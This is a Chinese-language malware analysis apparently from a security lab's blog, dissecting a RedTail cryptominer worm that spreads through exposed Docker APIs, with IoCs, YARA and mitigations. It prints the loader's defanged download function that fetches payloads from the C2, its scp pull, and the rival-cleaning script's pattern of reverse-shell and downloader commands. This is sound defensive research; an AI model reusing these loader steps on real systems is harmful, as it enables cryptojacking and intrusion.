malware · cryptomining · redtail · docker · linux · honeypot · worm
深入一场 RedTail 行动:通过暴露的 Docker API 自我传播
Kinryū Labs 的蜜罐捕获到 RedTail 挖矿木马通过未认证的 Docker Engine API 传播并投放 SSH 密钥。本文记录了一个当前、完整捕获的实例,含加载器、竞争对手清除脚本、矿工本体以及实时指标。
作者 Davis Zheng·
TLP:CLEAR。已批准公开发布。来源为 Kinryū Labs 蜜罐传感器网络。这里的每一个指标都用于防御。我们捕获了攻击者的私钥,但不予公开;此处只出现公钥指纹。攻击者的 IP 和域名均已做无害化(defang)处理。
摘要
- 2375暴露的 Docker API,入口所在
- 4被针对的 CPU 架构
- ~21秒在我们蜜罐上记录到的完整入侵
- 可蠕虫化矿工内置的 SSH 客户端
2026 年 6 月上旬至中旬,我们的蜜罐网络捕获到一条蠕虫,它通过暴露在公网、监听 TCP/2375 的 Docker Engine API 传播,并投放 RedTail——一个自 2023 年底就已存在、基于 XMRig 的门罗币矿工。攻击者通过开放的 Docker API 列出正在运行的容器,在每个容器内执行命令,投放一个用于持久化与横向移动的 SSH 私钥,然后拉取一个多架构加载器。加载器安装的矿工自带一个用于传播的 SSH 客户端,以及一个用于寻找新目标的 libpcap 嗅探器。
这个载荷无疑是 RedTail。RedTail 最为人所知的是通过 Web 应用漏洞(PAN-OS、Ivanti、Log4Shell、PHP-CGI、TP-Link)进入,它利用暴露的 Docker API 也已有先前报道。本文补充的是这种 Docker-API 投放方式的一个当前、完整捕获的实例:实时 C2 与指标、让主机得以自我复制的 SSH 密钥投放,以及此前的报道指出过却未能取回的竞争对手清除脚本。我们在内部把这套自我复制逻辑追踪为 docker.selfrep。
矿工携带一份加密的运行时配置,且未内嵌钱包,因此我们无法从样本中取出门罗币地址。要取回它,需要一次带网络抓包的实时引爆。
关键判断
- 载荷为 RedTail(高置信度)。
libredtail evbuffer_tls字符串、.redtail痕迹、加载器中的redtail兜底名,以及「加密配置 / 无钱包」的构建方式,都与该家族 2024 年之后的版本相符。 - 该行动可蠕虫化(高置信度)。Docker-API 工具、被投放的密钥,以及矿工内置的 SSH 客户端,正是一台刚被感染的主机自行去寻找下一个受害者所需的全部。
- 操作者图的是钱(中等置信度)。凭据窃取与嗅探看起来是为传播服务,而非另有一个单独的数据窃取目标。
- Docker-API 这一入口对 RedTail 已有先前报道,且至今仍然好用。TCP/2375 上一个暴露的套接字,就能让攻击者以 root 身份在主机上的每个容器里执行代码。
攻击链
[0] 侦察 扫描互联网,寻找暴露的 Docker API :2375
│
[1] 初始访问 未认证的 Docker API → 枚举容器
│ (T1190 Exploit Public-Facing Application)
│
[2] 执行 docker exec 进入每个运行中的容器
│ (T1609 Container Administration Command)
│
[3] 持久化 / 向容器 ~/.ssh 投放 ed25519 密钥 "dlr@sftp"
横向准备 (T1098.004 SSH Authorized Keys / T1570 Lateral Tool Transfer)
│
[4] 载入(第二阶段) 拉取加载器:scp [email protected][.]113:sh (主)
│ hxxps://14.46.136[.]77/sh (兜底)
│ (T1105 Ingress Tool Transfer)
│
[5] 防御规避 加载器:查找 noexec 挂载点 → 避开;隐藏的 ".<random>"
│ 文件名;运行并丢弃 "clean" 竞争对手清除脚本
│
[6] 载入(第三阶段) 加载器从 C2 拉取对应架构的 ELF(x86_64/i686/aarch64/arm7)
│
[7] 执行 memfd_create → 无文件方式启动 RedTail 矿工
│ (T1620 Reflective Code Loading)
│
[8] 影响 XMRig 门罗币挖矿 (T1496 Resource Hijacking)
+ 凭据访问 libpcap 嗅探 + ssh-agent/密钥窃取 (T1040 / T1552.004)
+ 横向移动 内置 SSH 客户端向已发现的主机传播 (T1021.004)
第一阶段:通过 Docker API 获得初始访问
攻击者瞄准的是那些在 TCP/2375 上暴露了未认证 REST API 的 Docker Engine 实例。我们的 Docker-API 蜜罐模拟了一个真实的引擎,它在大约 21 秒内记录下了整个序列:
GET /version和GET /containers/json,用于探明引擎指纹并列出容器。- 对每个运行中的容器执行
POST /containers/{id}/exec,随后POST /exec/{id}/start。 - 一段在容器内运行的 shell 载荷,写入攻击者的 SSH 密钥并获取加载器。
最后那一步,正是把这件事从一次性的矿工变成蠕虫的关键。一台被感染、又恰好暴露了自己 Docker API 的主机,会对下一批受害者运行同样的「列出并 exec」流程。我们把这套逻辑称为 docker.selfrep。
投放的 SSH 密钥(持久化与横向移动)
| 属性 | 值 |
|---|---|
| 类型 | OpenSSH ed25519 私钥 |
| 注释 | dlr@sftp |
| 公钥 SHA256 指纹 | SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg |
| 拉取来源(SCP 通道) | [email protected][.]113 |
我们不会公开该私钥。请用上面的指纹来搜寻它:在你的整个机群中检查
authorized_keys和~/.ssh。
第二阶段:/sh 加载器
SHA256: 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf
MD5: 0df4fe0f1e3e8b0941f0d1442f132700
类型: POSIX shell 脚本
一个小巧、可移植的加载器,而且很谨慎。
随机隐藏文件名。 get_random_string() 拼出一个 4 到 35 个字符的字母数字名称,依次尝试 /dev/urandom、openssl、$RANDOM,若全部失败则兜底用字面字符串 redtail。那个兜底名是个方便的家族特征。矿工以 .<random>(带前导点)落地,以避开普通的 ls。VirusTotal 上这个样本就以其中一个这样的名字 .mn6VTucEsFZY1PdSC2QAq 存在。
下载辅助函数。 dlr() 关闭 TLS 校验(因为 C2 是自签名的),并从 wget 兜底切换到 curl:
dlr() { rm -rf $1; wget --no-check-certificate -q hxxps://14.46.136[.]77/$1 \
|| curl -skO hxxps://14.46.136[.]77/$1 ; }
noexec 感知的暂存。 加载器读取 /proc/mounts,剔除每一个 noexec 挂载点,再运行 find / -user $(whoami) -perm -u=rwx 来寻找一个既能写又能执行的位置。它会在使用前,用一个 2 MB 的 dd 或 truncate 对每个候选目录做写入测试。大多数加载器只是写到 /tmp 就完事。这一个则费心去落在一个它确知可以执行的地方。
竞争对手清理。 它拉取并运行 clean(dlr clean; chmod +x clean; sh clean; rm -rf clean),随后将其删除。我们也抓到了那个脚本,并在下文逐项拆解。它针对的是竞争对手的持久化与暂存,对正在运行的进程则不去动它。
收尾。 在安装新文件之前,它会先删除 .redtail 和上一个 .<random> 文件。
架构选择。 一个 uname -mp 分支选定构建版本:
| ARCH 匹配 | 下载 |
|---|---|
x86_64 / amd64 | x86_64 |
i[3456]86 | i686 |
armv8 / aarch64 | aarch64 |
armv7 | arm7 |
| 未知 | 四个全部暴力尝试,逐一运行 |
运行。 ./.<random> $1,把加载器原本的 $1 传下去,RedTail 会把它当作一个行动或入口标签。
clean 竞争对手清除脚本
SHA256: d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e
MD5: 397ff5e54194072e6d8a44a0d8cc1b27
类型: Bash 脚本(795 字节)
我们在蜜罐后来的一次命中里捕获了 clean。它不去动正在运行的进程。它的全部工作,就是把机器上的其他恶意软件清理掉,好让 RedTail 独占这台主机:
-
Cron 清理。 对每一个用户 crontab(
/var/spool/cron/crontabs/*)、系统 crontab(/etc/crontab、/etc/crontabs)、drop-in 目录(/etc/cron.{hourly,daily,weekly,monthly,d})以及/etc/anacrontab,它先用chattr -ia去掉不可变位(竞争对手的恶意软件会设置它来保护自己的 cron 行),然后删除任何匹配以下再感染模式的行:wget | curl | /dev/tcp | /tmp | \.sh | nc | bash -i | sh -i | base64 -d这会把其他团伙的下载脚手架和反弹 shell 揪出来,同时不动合法的 cron 条目。
-
杀掉一个具名的对手。 它禁用并停止
c3pool_minersystemd 服务,这是直接冲着 c3pool 矿工去的。 -
清空暂存区。 它用
rm -rf清空/tmp、/var/tmp和/dev/shm,清除竞争对手的载荷以及它们共用的暂存空间。
打击持久化与暂存是更安静的打法。它能熬过一次重启——否则残留的 cron 条目会重新感染主机——也避免了大规模杀进程的动静。
第三阶段:RedTail 矿工(x86_64)
SHA256: 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5
MD5: aaa5098c9caafccf15362b017825c64b
大小: 1,880,264 字节(1.79 MB)
格式: ELF 64-bit LSB EXEC(静态链接,non-PIE),x86-64,入口 0xaa9e18
加壳器: UPX 5.02($Id: UPX 5.02 Copyright (C) 1996-2025 the UPX Team)
VirusTotal: 36/62 判恶意,社区评分 −60,首次出现约 2026-06-05
威胁标签: trojan.usblem26/abminer;家族 usblem26 / abminer / gen3
打包与反分析
- UPX 5.02,头部完整。
upx -d能干净地把它解包为一个约 5 MB 的静态链接 ELF。 - 无文件执行。VirusTotal 的代码洞察显示它使用
memfd_create(系统调用0x13f)直接从一个匿名内存文件描述符运行载荷,并配合/proc/self/exe重新执行与/dev/shm暂存。没有任何东西落到磁盘,因此基于磁盘的杀毒软件根本看不到它。 - 进程名伪装(
sets-process-name),让它混入正常进程之中。 - 调试器规避(
detect-debug-environment)。公开的 RedTail 报道描述过ptrace自调试,以及该二进制会主动杀掉 GDB。 - 关于主机杀毒的一点说明。Microsoft Defender 把这个加壳 ELF 标记为
Trojan:Linux/Multiverze!rfn并阻止它被从磁盘读取,因此静态初判必须在一台隔离机器上或在内存中进行。
已确认的组件(来自解包后的 .rodata 字符串)
XMRig 挖矿核心
randomx/0 cryptonight-monerov7 cryptonight-monerov8
XMRIG_VERSION donate-level donate-over-proxy pool address
stratum+tcp:// stratum+ssl://
/var/build/xmrig/scripts/build/ (hwloc-2.12.2, abseil-cpp)
libredtail,这个定义了该家族的网络栈
libredtail evbuffer_tls
Connection keepalive User-Agent
一个定制的 libevent,加上一个 TLS HTTP 客户端。libredtail evbuffer_tls 字符串正是把 RedTail 与一个原版 XMRig 构建区分开来的东西。
内置 SSH 客户端(横向移动与凭据窃取)
ssh-userauth ssh-ed25519 [email protected]
[email protected] [email protected]
"Unable to ask for ssh-userauth service"
"Failed to get response to ssh-userauth request"
矿工自带一个完整的 SSH 客户端。那正是 dlr@sftp 密钥投放与传播背后的引擎。矿工二进制自行处理凭据窃取与 SSH 传播。这些都不在投放器里。
内置 libpcap(网络嗅探)
"cooked-mode frame doesn't have room for sll header"
"Kernel doesn't support memory-mapped capture ... CONFIG_PACKET_MMAP"
"Packet injection is not supported on USB devices"
主机上的抓包,这与本地发现主机和凭据相吻合。
编码表。 标准与 URL 安全两套 Base64 字母表都出现了(...+/ 和 ...-_),由配置解码例程使用。
配置与归因缺口
我们在解包后的二进制里仔细搜寻了 IP、URL、stratum、pool 以及门罗币地址的模式。里面唯一的矿池是 XMRig 内置的开发者捐赠矿池(donate.ssl.xmrig.com、donate.v2.xmrig.com),每个 XMRig 构建都带着它们,而操作者并不控制它们。明文里没有攻击者的矿池、代理或钱包。
那是刻意的,且与 RedTail 自 2024 年以来的走向一致。挖矿配置是加密的,只在运行时于内存中解密,而近期的构建根本不带钱包,转而指向一个私有矿池或矿池代理。所以:
- 我们无法从这个样本中取出门罗币钱包。
- 矿池代理只有通过一次带网络汇聚(sink)的实时引爆才能取出(见方法论)。
归因
这是 RedTail,也称 .redtail 矿工,一个源自 XMRig 的门罗币矿工,最早在 2023 年底到 2024 年初前后被记录。相符之处:
libredtail evbuffer_tls字符串,它是其独有的。.redtail痕迹,以及加载器中的redtail兜底名。- 「加密配置 / 无钱包」的构建、多架构加载器、
clean竞争对手脚本,以及 SSH 凭据窃取,全都是已知的 RedTail 特征。
作为对照,该家族已在案的投放向量包括 CVE-2024-3400(PAN-OS)、CVE-2023-46805 与 CVE-2024-21887(Ivanti)、CVE-2021-44228(Log4Shell)、CVE-2024-4577(PHP-CGI)以及 CVE-2023-1389(TP-Link)。VirusTotal 还为这个样本打上了 CVE-2021-41773(Apache 2.4.49/2.4.50 路径遍历到 RCE)和 CVE-2015-2808(RC4,“Bar Mitzvah”)的标签。
RedTail 利用暴露的 Docker API 已有先前报道,因此这个向量本身并不新。本文补充的是它的一次当前捕获:实时 C2 与载荷哈希、取回的 clean 脚本,以及投放密钥实现自我复制这一细节。
展望
挖矿团伙更换入侵方式的频率,远高于他们更换载荷的频率,而 RedTail 的模块化加载器让「把一种入口换成另一种」变得很容易。暴露的 Docker 套接字正落在它的射程之内。大量机会主义的 Linux 活动已经漂向云原生的配置错误,而一个开放的 Docker API 就能把 root(在主机上每个容器内的)交到攻击者手里。RedTail 早已来过这里,而源源不断、暴露在公网上的 2375,让这件事始终值得做。
我们认为,操作者更可能是把 Docker-API 向量与 Web 漏洞并用,而不是用一个取代另一个——这只会给他们更多可触达的主机。如果你在运行容器,请把一个暴露的 Docker API 当作它正坐在公网上来对待,因为它实际上就是。
失陷指标
网络
| 指标 | 说明 |
|---|---|
14.46.136[.]77 | C2 / 载荷主机(HTTPS,自签名)。提供 /sh、/clean、/x86_64、/i686、/aarch64、/arm7。按 ASN 过滤云出口。 |
hxxps://14.46.136[.]77/sh | 第二阶段加载器 URL |
hxxps://14.46.136[.]77/clean | 竞争对手清除脚本(cron / 暂存清理) |
217.60.195[.]113 | SCP 密钥 / 载荷来源([email protected][.]113) |
文件(SHA256 / MD5)
| 文件 | SHA256 | MD5 |
|---|---|---|
sh(加载器) | 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf | 0df4fe0f1e3e8b0941f0d1442f132700 |
clean(竞争对手清除) | d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e | 397ff5e54194072e6d8a44a0d8cc1b27 |
x86_64(矿工) | 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5 | aaa5098c9caafccf15362b017825c64b |
主机痕迹
| 指标 | 说明 |
|---|---|
.redtail | 矿工痕迹 / 既往感染标记 |
.<随机字母数字> 例如 .mn6VTucEsFZY1PdSC2QAq | 隐藏的矿工文件名(前导点 + 随机) |
SSH 密钥注释 dlr@sftp | 被投放的密钥 |
公钥指纹 SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg | 被投放密钥的指纹;在 authorized_keys 中搜寻 |
暂存在 /dev/shm、/var/tmp、/tmp 或任何用户可写的 rwx 目录中的文件 | 暂存位置 |
行为特征
memfd_create(系统调用0x13f)从一个匿名文件描述符执行 ELF。- 一个进程读取
/proc/mounts,随后运行find / -perm -u=rwx(noexec 感知的暂存)。 - 进程名伪装;基于
ptrace的调试器规避。 - 向一个非标准主机外连
stratum+tcp:///stratum+ssl://。 systemctl disable c3pool_miner和systemctl stop c3pool_miner(驱逐竞争对手)。- 对 crontab 路径执行
chattr -ia,紧接着从 cron 中大规模删除wget/curl/ 反弹 shell 行。 - 对
/tmp/*、/var/tmp/*和/dev/shm/*执行rm -rf(清除竞争对手暂存)。
检测
主机侧检测(进程 / EDR 逻辑)
对一个依次执行以下动作的进程告警:
- 读取
/proc/mounts,然后运行find / ... -perm -u=rwx ...,并且 - 向一个全局可写目录写入一个前导点、随机命名的文件,并且
- 调用
memfd_create,随后从得到的文件描述符执行。
其中任何一项单独看都很弱。三者放在一起,则是这个加载器的强信号。
候选 YARA(解包后的二进制)
rule RedTail_Miner_libredtail
{
meta:
description = "RedTail XMRig miner: libredtail networking + embedded SSH/pcap"
reference = "Kinryu Labs CTI 2026-06-12"
hash = "59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5"
strings:
$rt = "libredtail evbuffer_tls" ascii
$xm1 = "randomx/0" ascii
$xm2 = "stratum+ssl://" ascii
$ssh = "[email protected]" ascii
condition:
uint32(0) == 0x464c457f and $rt and 1 of ($xm*) and $ssh
}
这条规则匹配的是 UPX 解包后的二进制。对于加壳样本,请基于 UPX 特征、文件大小(约 1.79 MB)以及上面的 VirusTotal 哈希来转向。
网络侧检测
- 阻断并告警外连到
14.46.136[.]77和217.60.195[.]113的流量。 - 对外连到任何非白名单目的地的
stratum+tcp/stratum+ssl告警。 - 对请求单字母或架构命名路径(
/sh、/x86_64、/aarch64、/arm7)的 HTTP(S) GET 告警。
缓解措施
- 不要把 Docker API(2375/2376)暴露给不可信网络。把它绑定到 localhost 或一个受保护的套接字,并要求 TLS 客户端证书认证。这一项控制就能直接打断初始访问这一步。
- 在整个机群中审计
~/.ssh/authorized_keys,查找dlr@sftp密钥及其指纹。 - 对 stratum 流量以及上述 C2 IP 做出口过滤与监控。
- 在可能的地方,用
noexec挂载/tmp、/var/tmp和/dev/shm。这会提高门槛,不过这个加载器是 noexec 感知的,会去寻找另一个可写且可执行的目录。 - 加固容器:丢弃你不需要的 capability、使用只读根文件系统、以最小权限运行,使得一次
exec-in 不会把一个可用的执行环境交到攻击者手里。
MITRE ATT&CK 映射
| 战术 | 技术 |
|---|---|
| 初始访问 | T1190 Exploit Public-Facing Application(Docker API) |
| 执行 | T1609 Container Administration Command;T1059.004 Unix Shell |
| 持久化 | T1098.004 SSH Authorized Keys |
| 防御规避 | T1027.002 Software Packing(UPX);T1620 Reflective / Memory Code Loading(memfd_create);T1564.001 Hidden Files;T1036.004 Masquerade Task or Process Name;T1622 Debugger Evasion;T1070.004 File Deletion |
| 凭据访问 | T1552.004 Private Keys;T1040 Network Sniffing |
| 发现 | T1046 Network Service Scanning;T1082 System Information Discovery;T1057 Process Discovery;T1018 Remote System Discovery |
| 横向移动 | T1021.004 Remote Services: SSH;T1570 Lateral Tool Transfer |
| 命令与控制 | T1071.001 Web Protocols;T1573 Encrypted Channel;T1105 Ingress Tool Transfer |
| 影响 | T1496 Resource Hijacking(挖矿) |
方法论与分析师备注
- 我们通过 HTTPS 从实时 C2 拉取了第二与第三阶段。
14.46.136[.]77对云 IP 超时(我们从 AWS/EC2 试过),但对住宅和普通 IP 则正常提供服务,这是一个会让自动化云沙箱失效的 ASN 或地理出口过滤。 - 加壳 ELF 会触发 Microsoft Defender(
Trojan:Linux/Multiverze!rfn),在一台受保护的 Windows 主机上甚至无法从磁盘读取它,因此第一轮初判是在内存中进行的——在一个 Python 进程内解包归档,而从未把原始 ELF 写出。 - 解包是在一台隔离的 FLARE-VM 中用
upx -d完成的。我们对解包后的二进制做了静态分析(看字符串与结构),没有运行它。 - 我们没有运行矿工,因此运行时解密的矿池代理与门罗币配置不在本文中。
建议的后续步骤(以获取矿池代理指标)
要拿到矿池代理,请在一台隔离的 Linux 机器(REMnux 即可)上引爆解包后的二进制,并配合:
- 一个网络汇聚(INetSim,或
fakedns加一个 TCP 通吃捕获)来引出连接, tcpdump -i any -w redtail.pcap来捕获 stratum 的 CONNECT 与登录,以及strace -f来抓取矿工在其首次connect()之前刚刚解密出的明文配置——即使 TLS 在链路上把它隐藏起来,这往往仍然可读。
那个主机与端口,是这场行动唯一仍未取得的指标。
样本
样本(加载器、clean 脚本以及加壳的矿工)可应其他研究者与防御方的请求提供。请发邮件至 [email protected],并简短说明你的身份以及索取用途。